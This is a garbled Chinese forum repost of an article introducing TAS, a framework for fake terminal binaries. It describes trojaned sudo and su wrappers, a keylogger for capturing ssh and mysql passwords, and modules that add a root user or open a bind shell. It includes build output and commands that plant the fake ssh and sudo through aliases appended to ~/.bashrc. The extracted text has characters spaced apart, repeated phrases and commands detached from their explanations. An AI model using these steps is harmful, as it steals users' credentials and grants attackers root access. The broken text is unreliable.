搜索

[15053] 2020-02-24_TAS：一款轻量级tty修改与代码伪造框架

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-02-24_TAS：一款轻量级tty修改与代码伪造框架 T A S ： 一 款 轻 量 级 t t y 修 改 与 代 码 伪 造 框 架 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 2 4 T A S 是 一 款 轻 量 级 框 架 ， 在 它 的 帮 助 下 ， 研 究 人 员 可 以 轻 松 修 改 是 一 款 轻 量 级 框 架 ， 在 它 的 帮 助 下 ， 研 究 人 员 可 以 轻 松 修 改 t t y 并 创 建 伪 造 的 代 码 。 并 创 建 伪 造 的 代 码 。 该 框 架 拥 有 三 个 主 要 函 数 ， 即 t a s e x e c v 、 t a s f o r k p t y 和 t a s t t y l o o p ： 1 、 t a s _ e x e c v ： 这 个 函 数 的 作 用 跟 e x e c v 类 似 ， 但 是 它 并 不 会 重 新 执 行 当 前 代 码 ， 这 对 于 创 建 伪 造 代 码 来 说 非 常 有 用 ； 2 、 t a s _ f o r k p t y ： 这 个 函 数 跟 f o r k p t y 一 样 ， 不 过 它 会 自 动 填 充 自 定 义 结 构 体 ， 检 查 f o r k p t y 操 作 页 并 获 取 详 细 信 息 ； 3 、 t a s t t y l o o p ： 这 个 函 数 负 责 对 t t y 进 行 修 改 操 作 ， 我 们 可 以 针 对 输 入 和 输 出 数 据 设 置 钩 子 函 数 ， 这 样 就 可 以 获 取 到 用 户 输 入 的 击 键 数 据 或 修 改 终 端 输 出 结 果 （ l e e t - s h e l l ） 。 如 果 你 需 要 深 入 了 解 T A S 的 工 作 机 制 ， 可 以 通 过 查 看 本 项 目 的 “ t a s / f a k e b i n s / f u n ” 目 录 以 获 取 更 多 信 息 。 伪 造 代 码 伪 造 代 码 通 过 修 改 P A T H 环 境 变 量 ， 或 使 用 B a s h 的 A l i a s e s （ 或 其 他 支 持 A l i a s e s 的 S h e l l ） ， 你 就 可 以 直 接 运 行 其 他 程 序 ， 而 无 需 运 行 用 户 真 正 要 运 行 的 那 个 程 序 。 这 样 一 来 ， 我 们 就 可 以 捕 捉 到 目 标 用 户 的 键 盘 击 键 数 据 ， 并 修 改 命 令 行 来 改 变 原 始 程 序 的 行 为 。 修 改 某 些 程 序 的 命 令 行 ， 例 如 s u d o 和 s u ， 将 会 帮 助 我 们 在 目 标 设 备 上 实 现 提 权 。 为 了 方 便 大 家 理 解 和 使 用 T A S ， 我 专 门 创 建 了 三 个 示 例 程 序 来 演 示 该 框 架 的 功 能 ， 即 s u d o 、 s u 和 g e n e r i c - k e y l o g g e r 。 g e n e r i c - k e y l o g g e r g e n e r i c - k e y l o g g e r ， 正 如 其 名 字 所 示 ， 它 可 以 被 当 作 键 盘 记 录 器 来 使 用 ， 而 我 们 在 这 里 主 要 利 用 它 来 获 取 类 似 s s h 和 m y s q l 这 类 程 序 的 密 码 。 s u d o / s u 当 然 了 ， 它 也 可 以 被 当 作 键 盘 记 录 器 来 使 用 ， 或 者 你 也 能 够 以 r o o t 权 限 来 运 行 某 些 功 能 模 块 （ 通 过 修 改 命 令 行 ） 。 C m d 修 改 步 骤 首 先 ， 目 标 用 户 输 入 并 运 行 下 列 命 令 ： 此 时 ， 实 际 运 行 的 命 令 如 下 ： 其 中 ， f a k e s u d o 将 会 执 行 下 列 命 令 ： 以 r o o t 权 限 运 行 上 述 命 令 之 后 ， f a k e s u d o 将 会 创 建 一 个 子 进 程 来 执 行 其 中 的 部 分 功 能 模 块 ， 并 且 在 进 程 的 主 P I D 中 ， 它 会 运 行 原 始 命 令 。 注 意 ， 如 果 用 户 运 行 的 命 令 是 s u d o   c m d   [ a r g s ] 的 话 ， f a k e s u d o 才 会 修 改 命 令 ， 如 果 添 加 了 额 外 的 命 s u d o   c m d f a k e s u d o   c m d s u d o   f a k e s u d o   c m d
令 运 行 参 数 ， 那 么 命 令 将 无 法 被 修 改 。 如 果 使 用 的 是 s u ， 那 么 情 况 跟 s u d o 的 差 不 多 。 首 先 ， 目 标 用 户 输 入 并 运 行 下 列 命 令 ： 此 时 ， 实 际 运 行 的 命 令 如 下 ： 其 中 ， f a k e s u d o 将 会 执 行 下 列 命 令 ： 以 r o o t 权 限 运 行 上 述 命 令 之 后 ， f a k e s u 将 会 创 建 一 个 子 进 程 来 执 行 其 中 的 部 分 功 能 模 块 ， 并 且 在 进 程 的 主 P I D 中 ， 它 会 运 行 b a s h   - i 命 令 。 注 意 ： 只 有 当 用 户 运 行 s u 或 s u   - 时 ， f a k e s u 才 会 修 改 命 令 ， 如 果 如 果 添 加 了 额 外 的 命 令 运 行 参 数 ， 那 么 命 令 将 无 法 被 修 改 。 功 能 模 块 功 能 模 块 目 前 ， 该 工 具 只 有 下 列 三 个 功 能 模 块 ： 1 、 a d d - r o o t - u s e r ： 使 用 / e t c / p a s s w d 中 的 密 码 创 建 一 个 r o o t 用 户 ； 2 、 b i n d - s h e l l ： 监 听 传 入 的 连 接 ， 并 生 成 一 个 t t y   s h e l l ； 3 、 s y s t e m ： 以 r o o t 权 限 执 行 命 令 ； 项 目 下 载 项 目 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 项 目 源 码 克 隆 至 本 地 ： 项 目 构 建 项 目 构 建 首 先 ， 我 们 需 要 构 建 项 目 基 库 ： 接 下 来 ， 我 们 还 需 要 运 行 下 列 命 令 构 建 s u d o 、 s u 和 g e n e r i c - k e y l o g g e r ： 构 建 样 例 ： S u   - f a k e s u   - s u   -   - c   f a k e s u g i t   c l o n e   h t t p s : / / g i t h u b . c o m / h c 0 d 3 r / t a s . g i t $   m a k e     C C   . o b j / g l o b a l s . o     C C   . o b j / g e t i n o d e . o     C C   . o b j / t a s - e x e c v . o     C C   . o b j / t t y . o     C C   . o b j / x r e a d l i n k . o     A R   . o b j / l i b t a s . a m a k e   [ t a r g e t - b i n ] $   m a k e   s u m a k e [ 1 ] :   E n t e r i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / s u '
工 具 使 用 样 例 工 具 使 用 样 例 创 建 一 个 创 建 一 个 f a k e s s h 编 译 ： 安 装 ： 使 用 使 用 b i n d - s h e l l 模 块 模 块 编 译 ： 安 装 ： m a k e [ 1 ] :   E n t e r i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / s u ' [ + ]   c o n f i g u r i n g   f a k e s u   . . . e n a b l e   k e y l o g g e r ?   [ y / N ]   y n u m b e r   o f   l i n e s   t o   r e c o r d   [ e m p t y   =   s t o r e   a l l ] : l o g f i l e   ( d e f a u l t :   / t m p / . k e y s . t x t ) : u s e   s o m e   F U N   m o d u l e s ?   [ y / N ]   n [ + ]   c o n f i g u r a t i o n   f i l e   c r e a t e d   i n   / h o m e / t e s t / t a s / f a k e b i n s / s u / c o n f i g . h     C C   s u m a k e [ 1 ] :   L e a v i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / s u ' $   m a k e   g e n e r i c - k e y l o g g e r m a k e [ 1 ] :   E n t e r i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / g e n e r i c - k e y l o g g e r ' [ + ]   c o n f i g u r i n g   g e n e r i c - k e y l o g g e r   . . . n u m b e r   o f   l i n e s   t o   r e c o r d   [ e m p t y   =   s t o r e   a l l ] :   3 l o g f i l e   ( d e f a u l t :   / t m p / . k e y s . t x t ) : [ + ]   c o n f i g u r a t i o n   f i l e   c r e a t e d   i n   / h o m e / t e s t / t a s / f a k e b i n s / g e n e r i c - k e y l o g g e r / c o n f i g . h     C C   g e n e r i c - k e y l o g g e r m a k e [ 1 ] :   L e a v i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / g e n e r i c - k e y l o g g e r ' $   m k d i r   ~ / . b i n $   c p   g e n e r i c - k e y l o g g e r   ~ / . b i n / s s h $   e c h o   " a l i a s   s s h = ' $ H O M E / . b i n / s s h ' "   > >   ~ / . b a s h r c m a k e [ 1 ] :   E n t e r i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / s u d o ' [ + ]   c o n f i g u r i n g   f a k e s u d o   . . . e n a b l e   k e y l o g g e r ?   [ y / N ]   n u s e   s o m e   F U N   m o d u l e s ?   [ y / N ]   y [ 1 ]   a d d - r o o t - u s e r [ 2 ]   b i n d - s h e l l [ 3 ]   s y s t e m [ 4 ]   c a n c e l >   2 l i s t e n   p o r t   ( D e f a u l t :   1 3 3 7 ) :   5 9 9 2 [ + ]   c o n f i g u r a t i o n   f i l e   c r e a t e d   i n   / h o m e / t e s t / t a s / f a k e b i n s / s u d o / c o n f i g . h     C C   s u d o m a k e [ 1 ] :   L e a v i n g   d i r e c t o r y   ' / h o m e / t e s t / t a s / f a k e b i n s / s u d o ' $   c p   s u d o   ~ / . s u d o $   e c h o   " a l i a s   s u d o = ' $ H O M E / . s u d o ' "   > >   ~ / . b a s h r c
演 示 ： l e e t - s h e l l 在 l e e t - s h e l l 这 个 使 用 样 例 中 ， 你 可 以 修 改 t t y 输 出 ， 它 将 允 许 你 使 用 b a s h （ 类 似 1 3 3 7   h 4 x 0 r ） ： 项 目 地 址 项 目 地 址 T A S ： h t t p s : / / g i t h u b . c o m / h c 0 d 3 r / t a s * 参 考 来 源 ： 参 考 来 源 ： h c 0 d 3 r ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 $   e c h o   " a l i a s   s u d o = ' $ H O M E / . s u d o ' "   > >   ~ / . b a s h r c [ t e s t @ a l f h e i m   t a s ] $   m a k e   f u n / l e e t - s h e l l     C C   f u n / l e e t - s h e l l [ t 3 s t @ a l f h e i m   t a s ] $   f u n / l e e t - s h e l l S P 4 W N 1 N G   L 3 3 T   S H 3 L L   H 3 R 3   ! ! ! [ t 3 s t @ 4 l f h 3 1 m   t 4 s ] $   3 c h 0   ' l 3 3 t   s h 3 l l   1 s   l 3 3 t   ! ! ! ' l 3 3 t   s h 3 l l   1 s   l 3 3 t   ! ! !
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理